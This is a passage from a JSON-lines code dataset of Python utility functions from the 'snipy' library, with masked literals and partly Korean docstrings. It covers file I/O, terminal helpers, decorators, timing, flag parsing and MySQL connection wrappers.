filterrad=4.0,\nimlim=None, resample=None, url=None, hold=None, data=None,\n\n:param img:\n:param slicarg:\n:param slickw:\n:return:", "id": "f6367:m21"}
{"signature": "@contextlib.contextmanager<EOL>def movie_saving(outfile, showfun=imshow, fig=None, tight=True, drawopt=None, dpi=<NUM_LIT:100>, **movieopt):", "body": "if tight:<EOL><INDENT>plot_writer = ImageMovieWriter(outfile, showfun=showfun, fig=fig, drawopt=drawopt, dpi=dpi, **movieopt)<EOL><DEDENT>else:<EOL><INDENT>plot_writer = PlotMovieWriter(outfile, showfun=showfun, fig=fig, drawopt=drawopt, dpi=dpi, **movieopt)<EOL><DEDENT>try:<EOL><INDENT>yield plot_writer<EOL><DEDENT>finally:<EOL><INDENT>plot_writer.finish()<EOL><DEDENT>", "docstring": "contextmanager for PlotMovieWriter\nExample:\n\n    with movie_saving('output.mp4', dpi=100) as plot:\n        for i in range(10):\n            plot(data[i])\n\n:param outfile:\n:param showfun:\n:param fig:\n:param tight:\n:param drawopt:\n:param dpi:\n:param movieopt: fps=5, codec=None, bitrate=None, extra_args=None, metadata=None\n:return:", "id": "f6367:m24"}
{"signature": "def enum(name, *members, **withvalue):", "body": "if len(members) == <NUM_LIT:1>:<EOL><INDENT>if isinstance(members[<NUM_LIT:0>], str):<EOL><INDENT>members = members[<NUM_LIT:0>].split()<EOL><DEDENT>elif isinstance(members[<NUM_LIT:0>], (list, tuple)):<EOL><INDENT>members = members[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>dic = {v: v for v in members}<EOL>dic.update(withvalue)<EOL>return type(name, (Enum,), dic)<EOL>", "docstring": "class buider", "id": "f6368:m0"}
{"signature": "def mkdir_if_not(filepath, ispath=False):", "body": "if not ispath:<EOL><INDENT>p, _ = os.path.split(filepath)<EOL><DEDENT>else:<EOL><INDENT>p = filepath<EOL><DEDENT>if not p:<EOL><INDENT>return filepath<EOL><DEDENT>if not os.path.exists(p):<EOL><INDENT>try:<EOL><INDENT>os.makedirs(p)<EOL><DEDENT>except FileExistsError as e:<EOL><INDENT>logg.warn(str(e))<EOL><DEDENT><DEDENT>return filepath<EOL>", "docstring": "path \ubd80\ubd84\uc774 \uc5c6\uc73c\uba74 mkdir \uc744 \ud55c\ub2e4.\n:param filepath: \ud30c\uc77c \ud328\uc4f0\n:return: filpath \uadf8\ub300\ub85c \ub9ac\ud134", "id": "f6369:m0"}
{"signature": "def readlines(filepath):", "body": "with open(filepath, '<STR_LIT>') as f:<EOL><INDENT>lines = f.readlines()<EOL>lines = map(str.strip, lines)<EOL>lines = [l for l in lines if l]<EOL><DEDENT>return lines<EOL>", "docstring": "read lines from a textfile\n:param filepath:\n:return: list[line]", "id": "f6369:m1"}
{"signature": "def readtxt(filepath):", "body": "with open(filepath, '<STR_LIT>') as f:<EOL><INDENT>lines = f.readlines()<EOL><DEDENT>return '<STR_LIT>'.join(lines)<EOL>", "docstring": "read file as is", "id": "f6369:m3"}
{"signature": "def savefile(obj, filepath, compress=True):", "body": "try:<EOL><INDENT>import cPickle as pickle<EOL><DEDENT>except Exception:<EOL><INDENT>import pickle<EOL><DEDENT>import joblib<EOL>tmpfile = filepath + '<STR_LIT>'<EOL>mkdir_if_not(tmpfile)<EOL>if compress:<EOL><INDENT>joblib.dump(obj, tmpfile, compress=<NUM_LIT:3>, cache_size=<NUM_LIT:100>, protocol=pickle.HIGHEST_PROTOCOL)<EOL><DEDENT>else:<EOL><INDENT>joblib.dump(obj, tmpfile, compress=<NUM_LIT:0>)<EOL><DEDENT>os.rename(tmpfile, filepath)<EOL>return obj<EOL>", "docstring": "\ud30c\uc77c \uc788\uc73c\uba74 \ub36e\uc5b4\uc500\n:param obj:\n:param str filepath:\n:param compress:\n:return:", "id": "f6369:m5"}
{"signature": "def loadfile(filepath, mmap_mode=None):", "body": "import joblib<EOL>try:<EOL><INDENT>return joblib.load(filepath, mmap_mode=mmap_mode)<EOL><DEDENT>except IOError:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": ":param filepath:\n:param mmap_mode: {None, \u2018r+\u2019, \u2018r\u2019, \u2018w+\u2019, \u2018c\u2019} see. joblib.load\n:return:", "id": "f6369:m6"}
{"signature": "def load_or_run(filepath, fun, *args, **kwargs):", "body": "force = kwargs.pop('<STR_LIT>', False)<EOL>compress = kwargs.pop('<STR_LIT>', True)<EOL>if not filepath.startswith('<STR_LIT:/>') or not filepath.startswith('<STR_LIT>'):<EOL><INDENT>filepath = os.path.join('<STR_LIT>', filepath)<EOL><DEDENT>if not force and os.path.exists(filepath):<EOL><INDENT>mmap_mode = '<STR_LIT>' if not compress else None<EOL>return loadfile(filepath, mmap_mode=mmap_mode)<EOL><DEDENT>res = fun(*args, **kwargs)<EOL>savefile(res, filepath, compress=compress)<EOL>return res<EOL>", "docstring": "\uacc4\uc0b0\ub41c \uacb0\uacfc \ud30c\uc77c\uc774 \uc788\uc73c\uba74 \ub85c\ub529\ud558\uace0, \uc5c6\uc73c\uba74 \uacc4\uc0b0\ud6c4 \uc800\uc7a5\nex)\nres = load_or_run('file_loadorsave', funlongtime, ...., force=False)\n:param filepath:\n:param fun:\n:param force:\n:return:", "id": "f6369:m9"}
{"signature": "def any_match(fname, patterns, matchfun=None):", "body": "return any(fnmatches(fname, patterns, matchfun))<EOL>", "docstring": "ANY matches?\n:param str fname: file name\n:param list[str] patterns: list of filename pattern. see fnmatch.fnamtch\n:rtype: bool", "id": "f6369:m12"}
{"signature": "def fnmatches(fname, patterns, matchfun):", "body": "import fnmatch<EOL>matchfun = matchfun or fnmatch.fnmatch<EOL>for p in patterns:<EOL><INDENT>yield matchfun(fname, p)<EOL><DEDENT>", "docstring": "matches?\n:param fname: file name\n:type fname: str\n:param patterns: list of filename pattern. see fnmatch.fnamtch\n:type patterns: [str]\n:rtype: generator of bool", "id": "f6369:m13"}
{"signature": "def listdir(p, match='<STR_LIT:*>', exclude='<STR_LIT>', listtype='<STR_LIT:file>', matchfun=None):", "body": "if listtype == '<STR_LIT:file>':<EOL><INDENT>gen = listfile(p)<EOL><DEDENT>elif listtype == '<STR_LIT>':<EOL><INDENT>gen = listfilepath(p)<EOL><DEDENT>elif listtype == '<STR_LIT>':<EOL><INDENT>gen = listfolder(p)<EOL><DEDENT>elif listtype == '<STR_LIT>':<EOL><INDENT>gen = listfolderpath(p)<EOL><DEDENT>else:  <EOL><INDENT>gen = (entry.name for entry in scandir.scandir(p))<EOL><DEDENT>return filter_pattern(gen, match, exclude, matchfun)<EOL>", "docstring": "list file(or folder) for this path (NOT recursive)\n:param p:\n:param match:\n:param exclude:\n:param listtype: ('file' | 'filepath' |'dir' | 'all')\n:param matchfun: match fun (default fnmatch.fnmatch) True/False = matchfun(name, pattern)\n:rtype:", "id": "f6369:m14"}
{"signature": "def listfile(p):", "body": "try:<EOL><INDENT>for entry in scandir.scandir(p):<EOL><INDENT>if entry.is_file():<EOL><INDENT>yield entry.name<EOL><DEDENT><DEDENT><DEDENT>except OSError:<EOL><INDENT>return<EOL><DEDENT>", "docstring": "generator of list files in the path.\nfilenames only", "id": "f6369:m16"}
{"signature": "def listfilepath(p):", "body": "for entry in scandir.scandir(p):<EOL><INDENT>if entry.is_file():<EOL><INDENT>yield entry.path<EOL><DEDENT><DEDENT>", "docstring": "generator of list files in the path.\nfilenames only", "id": "f6369:m17"}
{"signature": "def listfolder(p):", "body": "for entry in scandir.scandir(p):<EOL><INDENT>if entry.is_dir():<EOL><INDENT>yield entry.name<EOL><DEDENT><DEDENT>", "docstring": "generator of list folder in the path.\nfolders only", "id": "f6369:m18"}
{"signature": "def listfolderpath(p):", "body": "for entry in scandir.scandir(p):<EOL><INDENT>if entry.is_dir():<EOL><INDENT>yield entry.path<EOL><DEDENT><DEDENT>", "docstring": "generator of list folder in the path.\nfolders only", "id": "f6369:m19"}
{"signature": "def _pred_pattern(match='<STR_LIT:*>', exclude='<STR_LIT>', patterntype='<STR_LIT>'):", "body": "m, x = match, exclude<EOL>if m == '<STR_LIT:*>':<EOL><INDENT>if not x:<EOL><INDENT>pred = lambda n: True<EOL><DEDENT>else:<EOL><INDENT>x = [x] if _is_str(x) else x<EOL>matcher = get_match_fun(x, patterntype)<EOL>pred = lambda n: not matcher(n)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>m = [m] if _is_str(m) else m<EOL>if not x:<EOL><INDENT>matcher = get_match_fun(m, patterntype)<EOL>pred = lambda n: matcher(n)<EOL><DEDENT>else:<EOL><INDENT>x = [x] if _is_str(x) else x<EOL>matcher_m = get_match_fun(m, patterntype)<EOL>matcher_x = get_match_fun(x, patterntype)<EOL>pred = lambda n: matcher_m(n) and not matcher_x(n)<EOL><DEDENT><DEDENT>return pred<EOL>", "docstring": "internal use", "id": "f6369:m22"}
{"signature": "def findfolder(toppath, match='<STR_LIT:*>', exclude='<STR_LIT>'):", "body": "pred = _pred_pattern(match, exclude)<EOL>return (p for p in walkfolder(toppath, pred))<EOL>", "docstring": "recursively find folder path from toppath.\npatterns to decide to walk folder path or not\n:type toppath: str\n:type match: str or list(str)\n:type exclude: str or list(str)\n:rtype: generator for path str", "id": "f6369:m23"}
{"signature": "def walkfolder(toppath, pred):", "body": "for entry in scandir.scandir(toppath):<EOL><INDENT>if not entry.is_dir() or not pred(entry.name):<EOL><INDENT>continue<EOL><DEDENT>yield entry.path<EOL>for p in walkfolder(entry.path, pred):<EOL><INDENT>yield p<EOL><DEDENT><DEDENT>", "docstring": "walk folder if pred(foldername) is True\n:type toppath: str\n:type pred: function(str) => bool", "id": "f6369:m24"}
{"signature": "def tempfolder(prefix='<STR_LIT>'):", "body": "import uuid<EOL>p = prefix + str(uuid.uuid4())<EOL>d = tempdir()<EOL>tmpd = os.path.join(d, p)<EOL>return mkdir_if_not(tmpd, ispath=True)<EOL>", "docstring": "\uc784\uc2dc \ud3f4\ub354\ub97c \ub9cc\ub4e4\uc5b4\uc11c \ub9ac\ud134", "id": "f6369:m26"}
{"signature": "def imsize(fname):", "body": "from PIL import Image<EOL>im = Image.open(fname)<EOL>return im.size[<NUM_LIT:1>], im.size[<NUM_LIT:0>]<EOL>", "docstring": "return image size (height, width)\n:param fname:\n:return:", "id": "f6369:m30"}
{"signature": "def write(content):", "body": "sys.stdout.write(content)<EOL>sys.stdout.flush()<EOL>", "docstring": "write and flush terminal code and(or) text", "id": "f6371:m1"}
{"signature": "def writexy(xy, *args):", "body": "write(TermCursor.moveby(*xy) + '<STR_LIT>'.join(args))<EOL>", "docstring": "writes text on on screen\na tuple as first argument gives the relative position to current TermCursor position\ndoes change TermCursor position\nargs = list of optional position, formatting tokens and strings", "id": "f6371:m6"}
{"signature": "def put(xy, *args):", "body": "cmd = [TermCursor.save, TermCursor.move(*xy), '<STR_LIT>'.join(args), TermCursor.restore]<EOL>write('<STR_LIT>'.join(cmd))<EOL>", "docstring": "put text on on screen\na tuple as first argument tells absolute position for the text\ndoes not change TermCursor position\nargs = list of optional position, formatting tokens and strings", "id": "f6371:m7"}
{"signature": "def getpassword(prompt=\"<STR_LIT>\"):", "body": "fd = sys.stdin.fileno()<EOL>old = termios.tcgetattr(fd)<EOL>new = termios.tcgetattr(fd)<EOL>new[<NUM_LIT:3>] &= ~termios.ECHO          <EOL>try:<EOL><INDENT>termios.tcsetattr(fd, termios.TCSADRAIN, new)<EOL>passwd = raw_input(prompt)<EOL><DEDENT>finally:<EOL><INDENT>termios.tcsetattr(fd, termios.TCSADRAIN, old)<EOL><DEDENT>return passwd<EOL>", "docstring": "get user input without echo", "id": "f6371:m8"}
{"signature": "def getch():", "body": "try:<EOL><INDENT>termios.tcsetattr(_fd, termios.TCSANOW, _new_settings)<EOL>ch = sys.stdin.read(<NUM_LIT:1>)<EOL><DEDENT>finally:<EOL><INDENT>termios.tcsetattr(_fd, termios.TCSADRAIN, _old_settings)<EOL><DEDENT>return ch<EOL>", "docstring": "get character. waiting for key", "id": "f6371:m9"}
{"signature": "def named(typename, *fieldnames, **defaults):", "body": "if len(fieldnames) == <NUM_LIT:1>:<EOL><INDENT>if isinstance(fieldnames[<NUM_LIT:0>], str):<EOL><INDENT>fieldnames = tuple(fieldnames[<NUM_LIT:0>].replace('<STR_LIT:U+002C>', '<STR_LIT:U+0020>').split())<EOL><DEDENT>elif isinstance(fieldnames[<NUM_LIT:0>], (list, tuple)):<EOL><INDENT>fieldnames = fieldnames[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>default_of_defaults = defaults.pop('<STR_LIT:default>', None)<EOL>dfields = tuple(f for f in defaults if f not in fieldnames)<EOL>T = collections.namedtuple(typename, fieldnames + dfields)<EOL>T.__new__.__defaults__ = (default_of_defaults,) * len(T._fields)<EOL>prototype = T(**defaults)<EOL>T.__new__.__defaults__ = tuple(prototype)<EOL>globals()[typename] = T<EOL>return T<EOL>", "docstring": "namedtuple with default values\nnamed('typename', fields | *fields, default=x, [**defaults])\n:param typename:\n:param fieldnames:\n:param defaults:\n:return:", "id": "f6372:m0"}
{"signature": "def __new__(mcs, name, bases, dct):", "body": "slots = dct.get('<STR_LIT>', ())<EOL>defaults = dct.get('<STR_LIT>', {})<EOL>for base in bases:<EOL><INDENT>if isinstance(base, collections.Mapping):<EOL><INDENT>defaults.update(base)<EOL><DEDENT>else:<EOL><INDENT>continue<EOL><DEDENT><DEDENT>return named(name, *slots, **defaults)<EOL>", "docstring": "contains default values,\n        dct contains __slots__ for being ordered\n        bases is ignored", "id": "f6372:c0:m0"}
{"signature": "def tic():", "body": "t = time.time()<EOL>setattr(tic, '<STR_LIT>', t)<EOL>return t<EOL>", "docstring": "ex1)\ntic()  # save start time - time1\ntoc()  # print elapsed time from last calling tic()\ntoc()  # print elapsed time from last calling tic()\n\nex2)\nt0 = tic()  # simple\nt1 = tic()\ntoc(t1)  # print time from t1\ntoc(t0)  # print time from t0\n\n:return: time:", "id": "f6374:m0"}
{"signature": "def toc(t=None, name='<STR_LIT>'):", "body": "try:<EOL><INDENT>t = t or tic.last_tic_time<EOL><DEDENT>except AttributeError:<EOL><INDENT>logg.warn('<STR_LIT>')<EOL>return<EOL><DEDENT>elapsed = time.time() - t<EOL>logg.info('<STR_LIT>' % (name, elapsed))<EOL>return elapsed<EOL>", "docstring": "ex1)\ntic()  # save start time - time1\ntoc()  # print elapsed time from last calling tic()\ntoc()  # print elapsed time from last calling tic()\n\nex2)\nt0 = tic()  # simple\nt1 = tic()\ntoc(t1)  # print time from t1\ntoc(t0)  # print time from t0\n\n:param t: time: \uc2dc\uc791 \uc2dc\uac04 (tic()\uc758 \ub9ac\ud134 \uac12)\n:param name: str: \ucd9c\ub825\uc2dc \ud3ec\ud568\ud560 \ubb38\uc790 ['tictoc']", "id": "f6374:m1"}
{"signature": "@contextmanager<EOL>def tictoc(name='<STR_LIT>'):", "body": "t = time.time()<EOL>yield<EOL>logg.info('<STR_LIT>' % (name, time.time() - t))<EOL>", "docstring": "with tictoc('any string or not'):\n    print 'cool~~~'\ncool~~~\n2015-12-30 14:39:28,458 [INFO] tictoc Elapsed: 7.10487365723e-05 secs\n:param name: str", "id": "f6374:m2"}
{"signature": "def split_rand(data_or_size, ratio, seed):", "body": "if not isinstance(data_or_size, int):<EOL><INDENT>sz = len(data_or_size)<EOL>data = np.asarray(data_or_size)<EOL><DEDENT>else:<EOL><INDENT>sz = data_or_size<EOL>data = np.arange(sz)<EOL><DEDENT>if not ratio:<EOL><INDENT>return data, []<EOL><DEDENT>i = np.zeros(sz, dtype='<STR_LIT:bool>')<EOL>lattersz = int(sz * ratio)<EOL>i[:lattersz] = True<EOL>with np_seed(seed):<EOL><INDENT>np.random.shuffle(i)<EOL><DEDENT>return data[~i], data[i]<EOL>", "docstring": "data(1-ratio), data(with ratio) = split_rand(data_or_size, ratio, seed)\n:param data_or_size: data or count\n:param ratio:\n:param seed:\n:return:", "id": "f6376:m0"}
{"signature": "def __call__(self, s):", "body": "return ansi_str_restore(s, self.fmt)<EOL>", "docstring": "make ansi string", "id": "f6377:c0:m1"}
{"signature": "def __add__(self, other):", "body": "return ansi_str(other, self.fmt)<EOL>", "docstring": "make ansi string (simple ver.)", "id": "f6377:c0:m2"}
{"signature": "def __mul__(self, other):", "body": "self.fmt += '<STR_LIT:;>' + other.fmt<EOL>return self<EOL>", "docstring": "merge ansi format", "id": "f6377:c0:m3"}
{"signature": "def functional(ifunctional):", "body": "@wraps(ifunctional)<EOL>def wrapper(fn, *args, **kw):<EOL><INDENT>fn = ifunctional(fn)<EOL>if args or kw:<EOL><INDENT>return fn(*args, **kw)<EOL><DEDENT>else:<EOL><INDENT>return fn<EOL><DEDENT><DEDENT>return wrapper<EOL>", "docstring": "fun(fn) -> function or\nfun(fn, args...) -> call of fn(args...)\n:param ifunctional: f\n:return: decorated function", "id": "f6378:m0"}
{"signature": "@functional<EOL>def tupleout(fn):", "body": "@wraps(fn)<EOL>def wrapped(*args, **kwargs):<EOL><INDENT>return fn(*args, **kwargs),<EOL><DEDENT>return wrapped<EOL>", "docstring": "ex) code ::\n\n    def asis(a):\n    return a\n\n    f = tupleout(asis)\n    print f(1)  # (1,)\n    print tupleout(asis, 1)  # (1,)\n\n:param Function fn:\n:return:", "id": "f6378:m2"}
{"signature": "def tuplefy(x):", "body": "if x is None or isinstance(x, (tuple, list)):<EOL><INDENT>return x<EOL><DEDENT>else:<EOL><INDENT>return x,<EOL><DEDENT>", "docstring": "make tuple if not tuple or list\n:param x:\n:return:", "id": "f6378:m3"}
{"signature": "def tuple_arg(fn):", "body": "@wraps(fn)<EOL>def wrapped(*args, **kwargs):<EOL><INDENT>args = map(tuplefy, args)<EOL>return fn(*args, **kwargs)<EOL><DEDENT>return wrapped<EOL>", "docstring": "fun(1,2) -> fun((1,), (2,))\ub85c\nf(1,2,3) =>  f((1,), (2,), (3,))\n:param fn:\n:return:", "id": "f6378:m4"}
{"signature": "def tuple_args(fn):", "body": "@wraps(fn)<EOL>def wrapped(*args, **kwargs):<EOL><INDENT>if len(args) == <NUM_LIT:1>:<EOL><INDENT>if isinstance(args[<NUM_LIT:0>], tuple):<EOL><INDENT>return fn(args[<NUM_LIT:0>], **kwargs)<EOL><DEDENT>elif isinstance(args[<NUM_LIT:0>], list):<EOL><INDENT>return fn(tuple(args[<NUM_LIT:0>]), **kwargs)<EOL><DEDENT><DEDENT>return fn(args, **kwargs)<EOL><DEDENT>return wrapped<EOL>", "docstring": "args \ud30c\uc2f1 \uc720\ud2f8 function\nfun(p1, p2, ...pn, **kwargs) or fun([p1, p2, ..], **kwargs)\nex) \uc0d8\ud50c::\n\n    @tuple_arg\n    def f(args, **kwargs):\n        for d in args:\n            print d\n    f(1,2,3) =>  f([1,2,3])\n:param function fn:\n:return:", "id": "f6378:m5"}
{"signature": "def unpack_args(classfun, nth=<NUM_LIT:0>):", "body": "if classfun:<EOL><INDENT>nth = <NUM_LIT:1><EOL><DEDENT>def deco(fn):<EOL><INDENT>def wrapped(*args, **kwargs):<EOL><INDENT>if len(args) == nth + <NUM_LIT:1> and isinstance(args[nth], (tuple, list)):<EOL><INDENT>args = tuple(args[:nth] + args[nth])<EOL>return fn(*args, **kwargs)<EOL><DEDENT>else:<EOL><INDENT>return fn(*args, **kwargs)<EOL><DEDENT><DEDENT>return wrapped<EOL><DEDENT>return deco<EOL>", "docstring": "args \uac2f\uc218\uac00 nth + 1 \uac1c \uc77c\ub54c, \uadf8\uac8c \ub9cc\uc57d tuple\uc774\uba74, unpack\n:param classfun:\n:param nth: nth = 0, \uc77c\ubc18 \ud568\uc218, nth = 1: \ud074\ub798\uc2a4 \ud568\uc218 1\uc774 self\ub2c8\uae50.\n:return:", "id": "f6378:m6"}
{"signature": "def optional_str(deco):", "body": "@wraps(deco)<EOL>def dispatcher(*args, **kwargs):<EOL><INDENT>if not kwargs and len(args) == <NUM_LIT:1> and not isinstance(args[<NUM_LIT:0>], str)and args[<NUM_LIT:0>] is not None:<EOL><INDENT>decorator = deco()<EOL>return decorator(args[<NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>decorator = deco(*args, **kwargs)<EOL>return decorator<EOL><DEDENT><DEDENT>return dispatcher<EOL>", "docstring": "string 1\uac1c\ub9cc deco \uc778\uc790\ub85c \uc624\uac70\ub098 \uc5c6\uac70\ub098.\n:param deco:\n:return:", "id": "f6378:m7"}
{"signature": "def patchmethod(*cls, **kwargs):", "body": "def _patch(fun):<EOL><INDENT>m = kwargs.pop('<STR_LIT:name>', None) or fun.__name__<EOL>for c in cls:<EOL><INDENT>setattr(c, m, fun)<EOL><DEDENT><DEDENT>def wrap(fun):<EOL><INDENT>_patch(fun)<EOL>return fun<EOL><DEDENT>return wrap<EOL>", "docstring": "\ud074\ub798\uc2a4 \uba64\ubc84 \ud328\uce58 @patchmethod(Cls1, ..., [name='membername'])\nex)\nclass A(object):\n    def __init__(self, data):\n        self.data = data\n\n@patchmethod(A)\ndef sample(self):\n    ''' haha docstrings '''\n    print self.data\n\n@patchmethod(A, name='membermethod)\ndef sample(self):\n    ''' haha docstrings '''\n    print self.data\n\na = A()\na.sample()", "id": "f6378:m8"}
{"signature": "def patchproperty(*cls, **kwargs):", "body": "def _patch(fun):<EOL><INDENT>m = kwargs.pop('<STR_LIT>', None) or fun.__name__<EOL>p = property(fun)<EOL>for c in cls:<EOL><INDENT>setattr(c, m, p)<EOL><DEDENT><DEDENT>def wrap(fun):<EOL><INDENT>_patch(fun)<EOL>return fun<EOL><DEDENT>return wrap<EOL>", "docstring": "class getter \ud568\uc218 \ud328\uce58 decorator\nEX)\nclass B(A):\n    pass\n\n@patchproperty(B)\ndef prop(self):\n    return 'hello'\n\n:param cls:\n:param kwargs:", "id": "f6378:m9"}
{"signature": "@contextmanager<EOL>def on_interrupt(handler, reraise=False):", "body": "def _handler(sig, frame):<EOL><INDENT>handler.signal = (sig, frame)<EOL>handler._reraise = handler()<EOL><DEDENT>handler._reraise = False<EOL>handler.signal = None<EOL>oldhandler = signal.getsignal(signal.SIGINT)<EOL>signal.signal(signal.SIGINT, _handler)<EOL>yield handler<EOL>signal.signal(signal.SIGINT, oldhandler)<EOL>if (reraise or handler._reraise) and handler.signal:<EOL><INDENT>oldhandler(*handler.signal)<EOL><DEDENT>", "docstring": "context for handling keyboardinterrupt\nex)\nwith on_interrupt(handler):\n    critical_work_to_prevent()\n\nfrom logger import logg\non_interrupt.signal = None\n\n:param function handler:\n:param bool reraise:\n:return: context", "id": "f6378:m10"}
{"signature": "def interrupt_guard(msg='<STR_LIT>', reraise=True):", "body": "def echo():<EOL><INDENT>print(msg)<EOL><DEDENT>return on_interrupt(echo, reraise=reraise)<EOL>", "docstring": "context for guard keyboardinterrupt\nex)\nwith interrupt_guard('need long time'):\n    critical_work_to_prevent()\n\n:param str msg: message to print when interrupted\n:param reraise: re-raise or not when exit\n:return: context", "id": "f6378:m11"}
{"signature": "@contextmanager<EOL>def np_seed(seed):", "body": "if seed is not None:<EOL><INDENT>state = np.random.get_state()<EOL>np.random.seed(seed)<EOL>yield<EOL>np.random.set_state(state)<EOL><DEDENT>else:<EOL><INDENT>yield<EOL><DEDENT>", "docstring": "numpy random seed context\n:param seed:\n:return:", "id": "f6381:m0"}
{"signature": "def tojson(o):", "body": "try:<EOL><INDENT>return json.encode(o)<EOL><DEDENT>except json.EncodeError:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>return o.tojson()<EOL><DEDENT>except AttributeError as e:<EOL><INDENT>pass<EOL><DEDENT>t = type(o)<EOL>if isinstance(o, list):<EOL><INDENT>return '<STR_LIT>' % '<STR_LIT:U+002CU+0020>'.join([tojson(e) for e in o])<EOL><DEDENT>elif isinstance(o, dict):<EOL><INDENT>d = ['<STR_LIT>' % (k, tojson(v)) for k, v in o.iteritems()]<EOL>return '<STR_LIT>' % '<STR_LIT:U+002CU+0020>'.join(d)<EOL><DEDENT>elif isinstance(o, set):<EOL><INDENT>d = ['<STR_LIT>' % (tojson(e)) for e in o]<EOL>return '<STR_LIT>' % '<STR_LIT:U+002CU+0020>'.join(d)<EOL><DEDENT>elif isinstance(o, np.ndarray):<EOL><INDENT>return numpy_to_json(o)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>' % t)<EOL><DEDENT>", "docstring": "recursive implementation", "id": "f6382:m1"}
{"signature": "def add_flag(*args, **kwargs):", "body": "if len(args) == <NUM_LIT:1> and isinstance(args[<NUM_LIT:0>], (list, tuple)):<EOL><INDENT>for a in args[<NUM_LIT:0>]:<EOL><INDENT>flag.add_flag(*a)<EOL><DEDENT><DEDENT>elif args:<EOL><INDENT>flag.add_flag(*args, **kwargs)<EOL><DEDENT>else:<EOL><INDENT>for f, v in kwargs.items():<EOL><INDENT>flag.add_flag(f, v)<EOL><DEDENT><DEDENT>", "docstring": "define a single flag.\nadd_flag(flagname, default_value, help='', **kwargs)\nadd_flag([(flagname, default_value, help), ...])\nor\ndefine flags without help message\nadd_flag(flagname, default_value, help='', **kwargs)\n\nadd_flag('gpu', 1, help='CUDA_VISIBLE_DEVICES')\n:param args:\n:param kwargs:\n:return:", "id": "f6385:m2"}
{"signature": "def run(main=None, argv=None, **flags):", "body": "\"\"\"<STR_LIT>\"\"\"<EOL>import sys as _sys<EOL>import inspect<EOL>main = main or _sys.modules['<STR_LIT:__main__>'].main<EOL>if main.__doc__:<EOL><INDENT>docstring = main.__doc__.split('<STR_LIT>')[<NUM_LIT:0>]<EOL>_parser.usage = '<STR_LIT>'.format(docstring)  <EOL><DEDENT>try:<EOL><INDENT>a = inspect.getfullargspec(main)<EOL><DEDENT>except AttributeError:<EOL><INDENT>a = inspect.getargspec(main)  <EOL><DEDENT>if a.defaults:<EOL><INDENT>kwargs = dict(zip(reversed(a.args), reversed(a.defaults)))<EOL>add_flag(**kwargs)<EOL><DEDENT>else:<EOL><INDENT>kwargs = dict()<EOL><DEDENT>if a.defaults is None:<EOL><INDENT>nargs = len(a.args)<EOL><DEDENT>else:<EOL><INDENT>nargs = len(a.args) - len(a.defaults)<EOL><DEDENT>posargs = a.args[:nargs]<EOL>flag.add_args(posargs)<EOL>add_flag(**flags)<EOL>args = argv[<NUM_LIT:1>:] if argv else None<EOL>unparsed, kw = flag._parse_flags_kw(args=args)<EOL>d = flag.__dict__['<STR_LIT>']<EOL>args = [d[k] for k in posargs]<EOL>args += unparsed<EOL>kwargs.update({k: d[k] for k in kwargs.keys()})<EOL>kwargs.update(kw)<EOL>_sys.exit(main(*args, **kwargs))<EOL>", "docstring": ":param main: main or sys.modules['__main__'].main\n:param argv: argument list used in argument parse\n:param flags: flags to define with defaults\n:return:", "id": "f6385:m4"}
{"signature": "def __getattr__(self, name):", "body": "if not self.__dict__['<STR_LIT>']:<EOL><INDENT>self._parse_flags()<EOL><DEDENT>if name not in self.__dict__['<STR_LIT>']:<EOL><INDENT>return None<EOL><DEDENT>return self.__dict__['<STR_LIT>'][name]<EOL>", "docstring": "Retrieves the 'value' attribute of the flag --name.", "id": "f6385:c0:m10"}
{"signature": "def __setattr__(self, name, value):", "body": "if not self.__dict__['<STR_LIT>']:<EOL><INDENT>self._parse_flags()<EOL><DEDENT>self.__dict__['<STR_LIT>'][name] = value<EOL>", "docstring": "Sets the 'value' attribute of the flag --name.", "id": "f6385:c0:m11"}
{"signature": "def __radd__(self, other):", "body": "return ListCallChain(other, self)<EOL>", "docstring": "overidden in LayerBasic\n        other >> self", "id": "f6386:c7:m0"}
{"signature": "def db_config(db):", "body": "return {<EOL>'<STR_LIT:host>': '<STR_LIT:127.0.0.1>',<EOL>'<STR_LIT:user>': \"<STR_LIT>\",<EOL>'<STR_LIT>': \"<STR_LIT>\",<EOL>'<STR_LIT>': '<STR_LIT:utf8>',<EOL>'<STR_LIT>': db<EOL>}<EOL>", "docstring": ":param db: str: \ub514\ube44 \uc2a4\ud0a4\ub9c8\n:return: mysql connection \uacf5\ud1b5 \uc635\uc158", "id": "f6387:m0"}
{"signature": "def database(db='<STR_LIT>', **kwargs):", "body": "db = kwargs.pop('<STR_LIT>', db)<EOL>arg = db_config(db)<EOL>arg.update(kwargs)<EOL>return closing(MySQLdb.connect(**arg))<EOL>", "docstring": "usage:\nwith database('my_db') as conn:\n    c = conn.cursor()\n    ....\ndatabase \ucee4\ub125\uc158 with \ubb38\uacfc \uac19\uc774 \uc0ac\uc6a9\ud558\uace0, \uc54c\uc544\uc11c close\ud558\uae30\n:param db: str: db\uc2a4\ud0a4\ub9c8\n:param kwargs:\n:return:", "id": "f6387:m1"}
{"signature": "def connect(db='<STR_LIT>', **kwargs):", "body": "arg = db_config(db)<EOL>arg.update(kwargs)<EOL>return MySQLdb.connect(**arg)<EOL>", "docstring": "db \uc811\uc18d \uacf5\ud1b5 \uc778\uc790\ub4e4 \ucc44\uc6cc\uc11c \uc811\uc18d, schema\ub9cc \ub123\uc73c\uba74 \ub429\ub2c8\ub2e4.\ndb connection \uac1d\uccb4 \ubc18\ud658\uc774\uc9c0\ub9cc\nwith \ubb38\uacfc \uac19\uc774 \uc4f0\uc774\uba74 cursor\uc784\uc5d0 \uc8fc\uc758 (MySQLdb\uc758 \uad6c\ud604\uc774 \uadf8\ub807\uc2b5\ub2c8\ub2e4.)\nex1)\nimport snipy.database as db\nconn = db.connect('my_db')\ncursor = conn.cursor()\n\nex2)\nimport snipy.database as db\nwith db.connect('my_db') as cursor:\n    cursor.execute(query)\n\n:param db: str: db schema\n:param kwargs: \ucd94\uac00 \uc811\uc18d \uc815\ubcf4\n:return: connection or cursor", "id": "f6387:m2"}
